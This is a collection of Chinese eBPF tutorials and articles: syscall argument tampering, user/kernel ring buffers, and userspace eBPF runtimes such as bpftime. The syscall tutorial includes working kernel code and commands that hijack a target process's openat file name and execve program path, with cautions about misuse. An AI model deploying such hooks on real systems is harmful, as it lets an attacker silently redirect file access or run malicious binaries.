在我们深入探讨eBPF安全性的多维领域时,很明显,虽然eBPF的验证器提供了坚实的首层防御,但当前访问控制模型中存在的内在限制需要引起关注。我们已经考虑了从虚拟化、软件故障隔离和形式化方法到WebAssembly 或用户空间 eBPF 运行时的各种潜在解决方案,每种方法都为加固eBPF抵抗漏洞提供了独特的途径。
然而,像所有复杂系统一样,新的问题和挑战持续出现。理论安全模型与其实际执行之间的差距呼吁着持续的研究和实验。eBPF安全的未来不仅前景光明,而且还需要集体努力,以确保该技术能够在保障系统安全的能力上被信赖地采纳。
我们是 github.com/eunomia-bpf 开源社区,希望能使eBPF更易使用,并探索与 eBPF 相关的工具链和运行时等技术。
对eBPF技术感兴趣的朋友,欢迎查看我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和我们的网站 https://eunomia.dev/tutorials/,以获取更多关于 eBPF 的相关资料和实践经验。原文地址:https://eunomia.dev/zh/blogs/ebpf-security
eBPF 开发实践:使用 eBPF 修改系统调用参数
eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。
本教程介绍了如何使用 eBPF 修改正在进行的系统调用参数。这种技术可以用作安全审计、系统监视、或甚至恶意行为。然而需要特别注意,篡改系统调用参数可能对系统的稳定性和安全性带来负面影响,因此必须谨慎使用。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能,它可以修改用户空间的内存,因此能用来修改系统调用参数,在内核读取用户空间内存之前,将其修改为我们想要的值。
本文的完整代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/34-syscall/ 找到。
修改 open 系统调用的文件名
此功能用于修改 openat 系统调用的参数,让它打开一个不同的文件。这个功能可能可以用于:
- 文件访问审计:在对法律合规性和数据安全性有严格要求的环境中,审计员可能需要记录所有对敏感文件的访问行为。通过修改
openat系统调用参数,可以将所有尝试访问某个敏感文件的行为重定向到一个备份文件或者日志文件。 - 安全沙盒:在开发早期阶段,可能希望监控应用程序尝试打开的文件。通过更改
openat调用,可以让应用在一个安全的沙盒环境中运行,所有文件操作都被重定向到一个隔离的文件系统路径。 - 敏感数据保护:对于存储有敏感信息的文件,例如配置文件中包含有数据库密码,一个基于 eBPF 的系统可以将这些调用重定向到一个加密的或暂存的位置,以增强数据安全性。
如果该技术被恶意软件利用,攻击者可以重定向文件操作,导致数据泄漏或者破坏数据完整性。例如,程序写入日志文件时,攻击者可能将数据重定向到控制的文件中,干扰审计跟踪。
内核态代码(部分,完整内容请参考 Github bpf-developer-tutorial):
SEC("tracepoint/syscalls/sys_enter_openat")
int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx)
{
u64 pid = bpf_get_current_pid_tgid() >> 32;
/* use kernel terminology here for tgid/pid: */
if (target_pid && pid != target_pid) {
return 0;
}
/* store arg info for later lookup */
// since we can manually specify the attach process in userspace,
// we don't need to check the process allowed here
struct args_t args = {};
args.fname = (const char *)ctx->args[1];
args.flags = (int)ctx->args[2];
if (rewrite) {
bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9);
}
bpf_map_update_elem(&start, &pid, &args, 0);
return 0;
}
分析内核态代码:
bpf_get_current_pid_tgid()获取当前进程ID。- 如果指定了
target_pid并且不匹配当前进程ID,函数直接返回。 - 我们创建一个
args_t结构来存储文件名和标志。 - 使用
bpf_probe_write_user修改用户空间内存中的文件名为 "hijacked"。
eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 或 https://eunomia.dev/tutorials/1-helloworld/ 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。
编译:
./ecc open_modify.bpf.c open_modify.h
使用 make 构建一个简单的 victim 程序,用来测试:
int main()
{
char filename[100] = "my_test.txt";
// print pid
int pid = getpid();
std::cout << "current pid: " << pid << std::endl;
system("echo \"hello\" > my_test.txt");
system("echo \"world\" >> hijacked");
while (true) {
std::cout << "Opening my_test.txt" << std::endl;
int fd = open(filename, O_RDONLY);
assert(fd != -1);
std::cout << "test.txt opened, fd=" << fd << std::endl;
usleep(1000 * 300);
// print the file content
char buf[100] = {0};
int ret = read(fd, buf, 5);
std::cout << "read " << ret << " bytes: " << buf << std::endl;
std::cout << "Closing test.txt..." << std::endl;
close(fd);
std::cout << "test.txt closed" << std::endl;
}
return 0;
}
测试代码编译并运行:
$ ./victim
test.txt opened, fd=3
read 5 bytes: hello
Closing test.txt...
test.txt closed
可以使用以下命令指定应修改其 openat 系统调用参数的目标进程ID:
sudo ./ecli run package.json --rewrite --target_pid=$(pidof victim)
然后就会发现输出变成了 world,可以看到我们原先想要打开 "my_test.txt" 文件,但是实际上被劫持打开了 hijacked 文件:
test.txt opened, fd=3
read 5 bytes: hello
Closing test.txt...
test.txt closed
Opening my_test.txt
test.txt opened, fd=3
read 5 bytes: world
Closing test.txt...
test.txt closed
Opening my_test.txt
test.txt opened, fd=3
read 5 bytes: world
包含测试用例的完整代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 找到。
修改 bash execve 的进程名称
这段功能用于当 execve 系统调用进行时修改执行程序名称。在一些审计或监控场景,这可能用于记录特定进程的行为或修改其行为。然而,此类篡改可能会造成混淆,使得用户或管理员难以确定系统实际执行的程序是什么。最严重的风险是,如果恶意用户能够控制 eBPF 程序,他们可以将合法的系统命令重定向到恶意软件,造成严重的安全威胁。
SEC("tp/syscalls/sys_enter_execve")
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
// Check if we're a process of interest
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Read in program from first arg of execve
char prog_name[TASK_COMM_LEN];
char prog_name_orig[TASK_COMM_LEN];
__builtin_memset(prog_name, '\x00', TASK_COMM_LEN);
bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]);
bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]);
prog_name[TASK_COMM_LEN-1] = '\x00';
bpf_printk("[EXECVE_HIJACK] %s\n", prog_name);
// Program can't be less than out two-char name
if (prog_name[1] == '\x00') {
bpf_printk("[EXECVE_HIJACK] program name too small\n");
return 0;
}
// Attempt to overwrite with hijacked binary path
prog_name[0] = '/';
prog_name[1] = 'a';
for (int i = 2; i < TASK_COMM_LEN ; i++) {
prog_name[i] = '\x00';
}
long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3);
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = (pid_tgid >> 32);
for (int i = 0; i < TASK_COMM_LEN; i++) {
e->comm[i] = prog_name_orig[i];
}
bpf_ringbuf_submit(e, 0);
}
return 0;
}
分析内核态代码:
- 执行
bpf_get_current_pid_tgid获取当前进程ID和线程组ID。 - 如果设置了
target_ppid,代码会检查当前进程的父进程ID是否匹配。 - 读取第一个
execve参数到prog_name,这通常是将要执行的程序的路径。 - 通过
bpf_probe_write_user重写这个参数,使得系统实际执行的是一个不同的程序。
这种做法的风险在于它可以被用于劫持软件的行为,导致系统运行恶意代码。同样也可以使用 ecc 和 ecli 编译运行:
./ecc exechijack.bpf.c exechijack.h
sudo ./ecli run package.json
总结
eBPF 提供了强大的能力来实现对正在运行的系统进行实时监控和干预。在合适的监管和安全策略配合下,这可以带来诸多好处,如安全增强、性能优化和运维便利。然而,这项技术的使用必须非常小心,因为错误的操作或滥用可能会对系统的正常运作造成破坏或者引发严重的安全事件。实践中,应确保只有授权用户和程序能够部署和管理 eBPF 程序,并且应当在隔离的测试环境中验证这些eBPF程序的行为,在充分理解其影响后才能将其应用到生产环境中。
您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF开发实践:使用 user ring buffer 向内核异步发送信息
eBPF,即扩展的Berkeley包过滤器(Extended Berkeley Packet Filter),是Linux内核中的一种革命性技术,它允许开发者在内核态中运行自定义的“微程序”,从而在不修改内核代码的情况下改变系统行为或收集系统细粒度的性能数据。
eBPF的一个独特之处是它不仅可以在内核态运行程序,从而访问系统底层的状态和资源,同时也可以通过特殊的数据结构与用户态程序进行通信。关于这方面的一个重要概念就是内核态和用户态之间的环形队列——ring buffer。在许多实时或高性能要求的应用中,环形队列是一种常用的数据结构。由于它的FIFO(先进先出)特性,使得数据在生产者和消费者之间可以持续、线性地流动,从而避免了频繁的IO操作和不必要的内存 reallocation开销。
在eBPF中,分别提供了两种环形队列: user ring buffer 和 kernel ring buffer,以实现用户态和内核态之间的高效数据通信。本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到:https://eunomia.dev/tutorials/ 源代码在 GitHub 仓库 中开源。
用户态和内核态环形队列—user ring buffer和kernel ring buffer
围绕内核态和用户态这两个主要运行级别,eBPF提供了两种相应的环形队列数据结构:用户态环形队列——User ring buffer和内核态环形队列——Kernel ring buffer。
Kernel ring buffer 则由 eBPF实现,专为Linux内核设计,用于追踪和记录内核日志、性能统计信息等,它的能力是内核态和用户态数据传输的核心,可以从内核态向用户态传送数据。Kernel ring buffer 在 5.7 版本的内核中被引入,目前已经被广泛应用于内核日志系统、性能分析工具等。
对于内核态往用户态发送应用场景,如内核监控事件的发送、异步通知、状态更新通知等,ring buffer 数据结构都能够胜任。比如,当我们需要监听网络服务程序的大量端口状态时,这些端口的开启、关闭、错误等状态更新就需由内核实时传递到用户空间进行处理。而Linux 内核的日志系统、性能分析工具等,也需要频繁地将大量数据发送到用户空间,以支持用户人性化地展示和分析这些数据。在这些场景中,ring buffer在内核态往用户态发送数据中表现出了极高的效率。
User ring buffer 是基于环形缓冲器的一种新型 Map 类型,它提供了单用户空间生产者/单内核消费者的语义。这种环形队列的优点是对异步消息传递提供了优秀的支持,避免了不必要的同步操作,使得内核到用户空间的数据传输可以被优化,并且降低了系统调用的系统开销。User ring buffer 在 6.1 版本的内核中被引入,目前的使用场景相对较少。
bpftime 是一个用户空间 eBPF 运行时,允许现有 eBPF 应用程序在非特权用户空间使用相同的库和工具链运行。它为 eBPF 提供了 Uprobe 和 Syscall 跟踪点,与内核 Uprobe 相比,性能有了显著提高,而且无需手动检测代码或重启进程。运行时支持用户空间共享内存中的进程间 eBPF 映射,也兼容内核 eBPF 映射,允许与内核 eBPF 基础架构无缝运行。它包括一个适用于各种架构的高性能 LLVM JIT,以及一个适用于 x86 的轻量级 JIT 和一个解释器。GitHub 地址:https://github.com/eunomia-bpf/bpftime
在 bpftime 中,我们使用 user ring buffer 来实现用户态 eBPF 往内核态 eBPF 发送数据,并更新内核态 eBPF 对应的 maps,让内核态和用户态的 eBPF 一起协同工作。user ring buffer 的异步特性,可以避免系统调用不必要的同步操作,从而提高了内核态和用户态之间的数据传输效率。
eBPF 的双向环形队列也和 io_uring 在某些方面有相似之处,但它们的设计初衷和应用场景有所不同:
- 设计焦点:io_uring主要专注于提高异步I/O操作的性能和效率,而eBPF的环形队列更多关注于内核和用户空间之间的数据通信和事件传输。
- 应用范围:io_uring主要用于文件I/O和网络I/O的场景,而eBPF的环形队列则更广泛,不限于I/O操作,还包括系统调用跟踪、网络数据包处理等。
- 灵活性和扩展性:eBPF提供了更高的灵活性和扩展性,允许用户定义复杂的数据处理逻辑,并在内核态执行。
下面,我们将通过一段代码示例,详细展示如何利用 user ring buffer,实现从用户态向内核传送数据,并以 kernel ring buffer 相应地从内核态向用户态传送数据。
一、实现:在用户态和内核态间使用 ring buffer 传送数据
借助新的 BPF MAP,我们可以实现在用户态和内核态间通过环形缓冲区传送数据。在这个示例中,我们将详细说明如何在用户空间创建一个 "用户环形缓冲区" (user ring buffer) 并向其写入数据,然后在内核空间中通过 bpf_user_ringbuf_drain 函数来消费这些数据。同时,我们也会使用 "内核环形缓冲区" (kernel ring buffer) 来从内核空间反馈数据到用户空间。为此,我们需要在用户空间和内核空间分别创建并操作这两个环形缓冲区。
完整的代码可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/35-user-ringbuf 中找到。
创建环形缓冲区
在内核空间,我们创建了一个类型为 BPF_MAP_TYPE_USER_RINGBUF 的 user_ringbuf,以及一个类型为 BPF_MAP_TYPE_RINGBUF 的 kernel_ringbuf。在用户空间,我们创建了一个 struct ring_buffer_user 结构体的实例,并通过 ring_buffer_user__new 函数和对应的操作来管理这个用户环形缓冲区。
/* Set up ring buffer polling */
rb = ring_buffer__new(bpf_map__fd(skel->maps.kernel_ringbuf), handle_event, NULL, NULL);
if (!rb)
{
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
user_ringbuf = user_ring_buffer__new(bpf_map__fd(skel->maps.user_ringbuf), NULL);
编写内核态程序
我们定义一个 kill_exit 的 tracepoint 程序,每当有进程退出时,它会通过 bpf_user_ringbuf_drain 函数读取 user_ringbuf 中的用户数据,然后通过 bpf_ringbuf_reserve 函数在 kernel_ringbuf 中创建一个新的记录,并写入相关信息。最后,通过 bpf_ringbuf_submit 函数将这个记录提交,使得该记录能够被用户空间读取。
// SPDX-License-Identifier: GPL-2.0
/* Copyright (c) 2022 Meta Platforms, Inc. and affiliates. */
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "user_ringbuf.h"
char _license[] SEC("license") = "GPL";
struct
{
__uint(type, BPF_MAP_TYPE_USER_RINGBUF);
__uint(max_entries, 256 * 1024);
} user_ringbuf SEC(".maps");
struct
{
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} kernel_ringbuf SEC(".maps");
int read = 0;
static long
do_nothing_cb(struct bpf_dynptr *dynptr, void *context)
{
struct event *e;
pid_t pid;
/* get PID and TID of exiting thread/process */
pid = bpf_get_current_pid_tgid() >> 32;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&kernel_ringbuf, sizeof(*e), 0);
if (!e)
return 0;
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
__sync_fetch_and_add(&read, 1);
return 0;
}
SEC("tracepoint/syscalls/sys_exit_kill")
int kill_exit(struct trace_event_raw_sys_exit *ctx)
{
long num_samples;
int err = 0;
// receive data from userspace
num_samples = bpf_user_ringbuf_drain(&user_ringbuf, do_nothing_cb, NULL, 0);
return 0;
}
编写用户态程序
在用户空间,我们通过 ring_buffer_user__reserve 函数在 ring buffer 中预留出一段空间,这段空间用于写入我们希望传递给内核的信息。然后,通过 ring_buffer_user__submit 函数提交数据,之后这些数据就可以在内核态被读取。
static int write_samples(struct user_ring_buffer *ringbuf)
{
int i, err = 0;
struct user_sample *entry;
entry = user_ring_buffer__reserve(ringbuf, sizeof(*entry));
if (!entry)
{
err = -errno;
goto done;
}
entry->i = getpid();
strcpy(entry->comm, "hello");
int read = snprintf(entry->comm, sizeof(entry->comm), "%u", i);
if (read <= 0)
{
/* Assert on the error path to avoid spamming logs with
* mostly success messages.
*/
err = read;
user_ring_buffer__discard(ringbuf, entry);
goto done;
}
user_ring_buffer__submit(ringbuf, entry);
done:
drain_current_samples();
return err;
}
初始化环形缓冲区并轮询
最后,对 ring buffer 进行初始化并定时轮询,这样我们就可以实时得知内核态的数据消费情况,我们还可以在用户空间对 user_ringbuf 进行写入操作,然后在内核态对其进行读取和处理。
write_samples(user_ringbuf);
/* Process events */
printf("%-8s %-5s %-16s %-7s %-7s %s\n",
"TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE");
while (!exiting)
{
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR)
{
err = 0;
break;
}
if (err < 0)
{
printf("Error polling perf buffer: %d\n", err);
break;
}
}
通过以上步骤,我们实现了用户态与内核态间环形缓冲区的双向数据传输。
二、编译和运行代码
为了编译和运行以上代码,我们可以通过以下命令来实现:
make
关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
运行结果将展示如何使用 user ring buffer 和 kernel ringbuffer 在用户态和内核态间进行高效的数据传输:
$ sudo ./user_ringbuf
Draining current samples...
TIME EVENT COMM PID
16:31:37 SIGN node 1707
Draining current samples...
16:31:38 SIGN node 1981
Draining current samples...
16:31:38 SIGN node 1707
Draining current samples...
16:31:38 SIGN node 1707
Draining current samples...
总结
在本篇文章中,我们介绍了如何使用eBPF的user ring buffer和kernel ring buffer在用户态和内核态之间进行数据传输。通过这种方式,我们可以有效地将用户态的数据传送给内核,或者将内核生成的数据反馈给用户,从而实现了内核态和用户态的双向通信。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
参考资料:
原文地址:https://eunomia.dev/zh/tutorials/35-user-ringbuf/ 转载请注明出处。
用户空间 eBPF 运行时:深度解析与应用实践
郑昱笙
本文旨在对用户空间的 eBPF 运行时和对应的一些应用场景进行剖析和总结。尽管大多数人对基于内核的 eBPF 已有所了解,用户空间 eBPF 的进展和应用实践同样引人注目。本文还将探讨用户空间 eBPF 运行时与 Wasm 运行时的技术比较,后者在云原生和边缘计算领域已获得广泛的关注。我们也新开源了一个用户态 eBPF 运行时 bpftime。通过 LLVM JIT/AOT 后端支持,我们的基准测试表明 bpftime 是最快的用户空间 eBPF 运行时之一,同时还可以让内核中间的 eBPF Uprobe 无缝在用户空间运行,获得近十倍的性能提升。
eBPF:内核的动态扩展运行时与字节码
eBPF 究竟是何方神圣?
eBPF,全称 "extended Berkeley Packet Filter",是一项允许在不更改内核源代码或重启系统的情况下动态干预和修改内核行为的革命性技术。虽然 eBPF 起初是作为网络数据包过滤工具而设计,但如今已广泛应用于从性能分析到安全策略等多个方面,逐渐成为系统管理员的得力助手。
eBPF 的前身,Berkeley Packet Filter (BPF) —— 20 世纪 90 年代初的产物,主要用于网络数据包的高效过滤。尽管 BPF 已被广大用户所认可,eBPF 的出现则为其带来了更为广泛的指令集,并能直接与内核数据结构互动。自 2014 年 Linux 内核引入 eBPF 以后,它的影响力迅速扩张。Linux 的核心开发团队不断地完善 eBPF,使其从一个基础的网络数据包过滤器逐渐演变为一个功能强大的字节码引擎。
eBPF 对现代计算和网络的深远影响
随着现代计算环境日益复杂,实时数据的采集和深入分析显得尤为重要。在这一背景下,eBPF 凭借其卓越的动态性,为开发者和管理员提供了实时干预系统行为的强大工具。eBPF 以其卓越的灵活性在现代网络解决方案中占据核心地位。它为流量控制、负载均衡及安全策略在内核级别提供了细致的控制手段,确保了系统的性能优化和安全稳定。同时,eBPF 在系统可观察性上也做出了显著贡献,为各种系统调用和硬件事件提供了详细的可编程追踪方案,促进了问题的迅速定位和解决。
用户空间 eBPF 运行时:eBPF 的新生代
什么是用户空间 eBPF 运行时?
虽然 eBPF 最初是为内核设计的,但它在用户空间的巨大潜力,以及内核对于 GPL LICENSE 的限制,也催生了用户空间 eBPF 运行时的产生。这些运行时允许开发者在内核之外利用 eBPF 的能力,提供了一个在内核之外的运行平台,扩展其实用性和适用性,同时不受限于 GPL LICENSE。虽然 eBPF 的一个突出特点是其在内核空间内执行代码的能力,提供快速的可观察性和数据聚合,但在某些情境下,拥有一个用户空间的替代方案变得非常有价值。这些用户空间运行时扩展了 eBPF 多功能性的范围,超越了内核集成,并常常作为特定用例的实验场地、调试工具或框架。
特定运行时简介
ubpf
uBPF 是将 eBPF 引入用户空间的早期尝试之一。主要作为一个概念证明,它作为 eBPF 解释器的用户空间解释与 x86_64 和 arm64 JIT 的结合。尽管其起源是一个早期原型,uBPF 吸引了注意并被用作高性能网络项目(如 DPDK 和 Oko)的基础。它的非 GPL 许可证(Apache)使其适用于各种项目,包括非开源项目。然而,最近,uBPF 正在迎头赶上内核发展,特别是微软为其 eBPF Windows 实现做出的贡献。但是,开发 ubpf 和 rbpf 程序可能需要一个特定的工具链,这对于一些用户可能是一个障碍。ubpf 只有一个有限的哈希 maps 实现,对大多数场景而言可能不够。另外,ubpf 本身只是一个虚拟机/解释器,在实际的使用中,依然需要编写胶水代码,和其他用户空间程序进行编译、链接后才能使用。
rbpf
rbpf 和 uBPF 非常相似,但重点是使用了 Rust 进行开发,这是一种因其内存安全保证而著称的语言。创建 rbpf 是由于想要探索 eBPF 和 Rust 的交集。虽然没有广泛采纳,但 rbpf 的知名用户包括 Solana 团队,他们使用它为带有 eBPF 驱动的智能合约的区块链工具。rbpf 的一个优势在于其许可证 (MIT),允许在各种项目中广泛重用。rbpf 也缺乏 eBPF Maps 支持,并且仅为 x86_64 提供 JIT 支持。同样,rbpf 也需要编译和手动嵌入对应的应用程序中才可以使用。
bpftime
基于 LLVM JIT/AOT 构建的 bpftime 是专为用户空间操作设计的一个高性能 eBPF 运行时。它以其快速的 Uprobe 能力和 Syscall 钩子脱颖而出,尤其是 Uprobe 性能比内核提高了十倍。此外,bpftime 提供编程 syscall 钩子、共享内存映射和与熟悉的工具链(如 libbpf 和 clang)的兼容性。其设计解决了一些内核 eBPF 的限制,并在某些方面超越了像 Wasm 运行时这样的插件系统。这是使用 Userspace bpftime 的 eBPF 进行 Hook 的一些性能数据,将用户空间和内核空间进行对比:
| Probe/Tracepoint Types | Kernel (ns) | Userspace (ns) | Insn Count |
|---|---|---|---|
| Uprobe | 3224.172760 | 314.569110 | 4 |
| Uretprobe | 3996.799580 | 381.270270 | 2 |
| Syscall Tracepoint | 151.82801 | 232.57691 | 4 |
| Embedding runtime | Not avaliable | 110.008430 | 4 |
bpftime 可以类似 Kernel 中的 Uprobe 那样,自动将 eBPF 运行时注入到用户空间进程中,无需修改用户空间进程的代码,也无需进行重启进程即可使用。对于 ubpf 和 rbpf 而言,它们依然需要手动编写胶水代码和其他用户空间程序进行集成,相对来说限制了它们的使用场景。在某些场景下,bpftime 可能能作为 kernel eBPF 的一种替代方案,它也不依赖于具体内核版本或 Linux 平台,可以在其他平台上运行。
为什么用户空间版本的 eBPF 会吸引如此多的关注?
eBPF,原本因其在内核空间的强大性能而被广泛认知,但近年来,其在用户空间的实现也引起了业界的浓厚兴趣。以下是技术社区对于 eBPF 迁移到用户空间的热切关注的核心原因:
性能提升
在内核空间,eBPF 的 Uprobe 组件时常面临因上下文切换带来的性能瓶颈。这在延迟敏感的应用中可能导致不良影响,从而对实时监控和数据处理带来挑战。但用户空间版本的 eBPF 能够绕过与上下文切换有关的性能损失,实现更高的性能优化。例如,bpftime 运行时在用户空间的表现,相较于其内核版本,展现出了显著的性能增益。
灵活性与集成度
用户空间的 eBPF 运行时带来了更大的灵活性。与其他解决方案如 Wasm 运行时相比,它们无需手动集成即可提供自动插桩的特性。这意味着开发者可以轻松地将其集成进正在运行的进程中,避免了因重新启动或重新编译带来的操作中断。
安全性加固
在内核空间,eBPF 的执行通常需要 root 访问权限,这可能无意中增加了系统的攻击面,使其容易受到例如容器逃逸或潜在的内核利用等安全威胁。相反,用户空间的实现在这种高风险环境之外运作。它们在用户空间中运行,大大降低了对高权限的依赖,从而减少了潜在的安全风险。
调试与许可的便利性
用户空间 eBPF 的一个显著优点是,它为开发者提供了更加直观的调试环境。相对于内核空间中有限的调试手段,用户空间解释器提供的断点调试功能更为方便。此外,用户空间 eBPF 的许可证更加灵活,通常采用 Apache 或 MIT 这样的开源许可,这意味着它们可以轻松地与各种项目(包括商业项目)相结合,避免了与内核代码相关的 GPL 限制。
使用案例:现有的 eBPF 用户空间应用
用户空间 eBPF 正在项目中使用,每个项目都利用 eBPF 的独特功能来增强它们的功能:
-
Oko 是 Open vSwitch-DPDK 的扩展,提供了与 BPF 程序的运行时扩展。它允许使用 BPF 程序在用户空间处理数据包,提供灵活的数据包处理,并促进 Open vSwitch 与其他系统的集成。
-
DPDK (数据平面开发套件) eBPF 支持通过允许在用户空间使用 eBPF 程序来促进快速的数据包处理,这些程序可以加载并运行以分析网络数据包。这增强了网络应用的灵活性和可编程性,无需修改内核。
-
Solana 利用 eBPF 实现一个 JIT (即时)编译器,这对于在其区块链网络上执行智能合约是至关重要的。使用 eBPF 确保了安全性、性能和架构中立性,从而允许在 Solana 区块链上的验证器节点上高效地执行智能合约。
-
该项目旨在将 Linux 生态系统中熟悉的 eBPF 工具链和 API 带到 Windows,允许在 Windows 之上使用现有的 eBPF 工具链。这展示了将 eBPF 的功能扩展到 Linux 之外的有前景的尝试,尽管它仍然是一个进行中的工作。
使用 eBPF 的这些应用的好处包括:
- 灵活性: eBPF 提供了一个灵活的框架,用于在内核或用户空间中运行程序,使开发人员能够扩展现有系统的功能,而无需修改其核心代码。
- 性能: 通过允许 JIT 编译和高效的数据包处理,eBPF 可以显著提高网络应用和区块链智能合约执行的性能。
- 安全性和安全性: eBPF 框架为验证程序执行前的安全属性提供了机制,从而确保了其集成的系统的完整性和安全性。
- 跨平台能力: eBPF 指令集的架构中立性使得跨平台兼容性成为可能,如 Solana 项目和进行中的 eBPF for Windows 所示。
这些属性使 eBPF 成为增强各种应用的强大工具,从网络处理到区块链智能合约执行,再到更多。还有一些论文讨论了在用户空间中使用 eBPF 的用途:
-
本文介绍了一个名为 RapidPatch 的新的热修复框架,该框架旨在通过在异构嵌入式设备上安装通用修复程序来促进修复的传播,而不会中断它们上运行的其他任务。此外,RapidPatch 提出了两种类型的 eBPF 补丁,用于不同类型的漏洞,并开发了一个 eBPF 补丁验证器以确保补丁安全。
-
Femto-Containers: 低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离:
本文介绍了 Femto-Containers,这是一个新颖的框架,允许在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该框架在 RIOT 中实现并提供,RIOT 是一个受欢迎的开源 IoT 操作系统,强调在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该论文讨论了在一个常见的低功耗 IoT 操作系统 (RIOT) 中集成的 Femto-Container 主机引擎的实现,增强了其在标准的 IPv6/6LoWPAN 网络上按需启动、更新或终止 Femto-Containers 的能力。
这些论文深入探讨了固件补丁和轻量级虚拟化方面的相关进展,展示了针对实时嵌入式系统和低功耗 IoT 微控制器领域的关键挑战的创新。
用户空间 eBPF 运行时 vs Wasm 运行时
在不断发展的云原生和边缘计算领域中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 都已成为强大的工具。但它们都有自己的设计原则和权衡取舍。
eBPF 在用户空间运行时 vs Wasm 运行时:云原生计算的新纪元
在飞速进展的云原生与边缘计算生态中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 被广泛认为是两大技术巨头。这两者虽然都非常强大,但各有其独特的设计哲学与优缺点。
eBPF 与 Wasm 之间的技术差异
eBPF:
- 核心理念:eBPF 是为了满足高性能要求而设计的,特别是针对实时内核交互和高吞吐量的网络任务。
- 安全性:尽管eBPF的主要焦点是性能,但其验证器机制确保了执行的程序在不引发内核恐慌或无限循环的前提下的安全性。
Wasm:
- 核心理念:Wasm 诞生于网络环境,其设计重点在于可移植性和执行安全性,旨在实现接近本地机器代码的执行速度。
- 安全性:Wasm 的安全策略主要基于软件故障隔离 (SFI)。沙盒执行确保了代码的安全性,但这可能会带来某些运行时的额外开销。
这两种技术都依赖于底层的库来执行复杂任务,如 Wasm 所依赖的 Wasi-nn 来进行神经网络处理。与这些外部API 交互时,特别是在 Wasm 的环境下,需要进行更多的验证和运行时检查,这可能导致额外的性能损耗。而eBPF则提供了一个更为性能中心化的策略,其验证器确保了代码在主机上的安全执行,而不需要运行时的额外开销。
在语言支持上,由于 eBPF 的专业特性,其语言选择较为有限,通常是 C 和 Rust。而Wasm则支持更多的编程语言,包括但不限于 C、C++、Rust、Go、Python、Java和C#。这使得Wasm在跨平台部署上有更大的灵活性,但也可能因为不恰当的语言选择引入更多的性能开销。
为了给大家提供一个直观的对比,我们在 https://github.com/eunomia-bpf/bpf-benchmark中展示了eBPF和Wasm运行时的性能比较。
从更宏观的角度看,eBPF运行时和Wasm实际上可以被视为是相互补充的。尽管 eBPF 拥有出色的验证器机制来确保运行时安全性,但由于其编程语言的局限性和相对较高的开发难度,它并不总是适合作为业务逻辑的首选运行时。反之,eBPF 更适用于像网络流量转发、可观测性和 livepatch 这样的高专业性任务。相对而言,Wasm 运行时可以作为 Serverless 的运行时平台、插件系统和轻量级虚拟化等场景的首选。这两者都有自己的优势,但它们的选择取决于特定的用例和优先级。
bpftime 快速入门
使用bpftime,您可以使用熟悉的工具(如clang和libbpf)构建eBPF应用程序,并在用户空间中执行它们。例如,malloc eBPF程序使用uprobe跟踪malloc调用,并使用哈希映射对其进行统计。
您可以参考documents/build-and-test.md上的构建项目的方法,或者使用来自GitHub packages的容器映像。
要开始,请构建并运行一个基于libbpf的eBPF程序,使用以下命令行:
make -C example/malloc # 构建示例的eBPF程序
bpftime load ./example/malloc/malloc
在另一个shell中,运行带有eBPF的目标程序:
$ bpftime start ./example/malloc/victim
Hello malloc!
malloc called from pid 250215
continue malloc...
malloc called from pid 250215
您还可以动态地将eBPF程序附加到正在运行的进程上:
$ ./example/malloc/victim & echo $! # 进程ID为101771
[1] 101771
101771
continue malloc...
continue malloc...
然后附加到该进程:
$ sudo bpftime attach 101771 # 您可能需要以root身份运行make install
Inject: "/root/.bpftime/libbpftime-agent.so"
成功注入。ID: 1
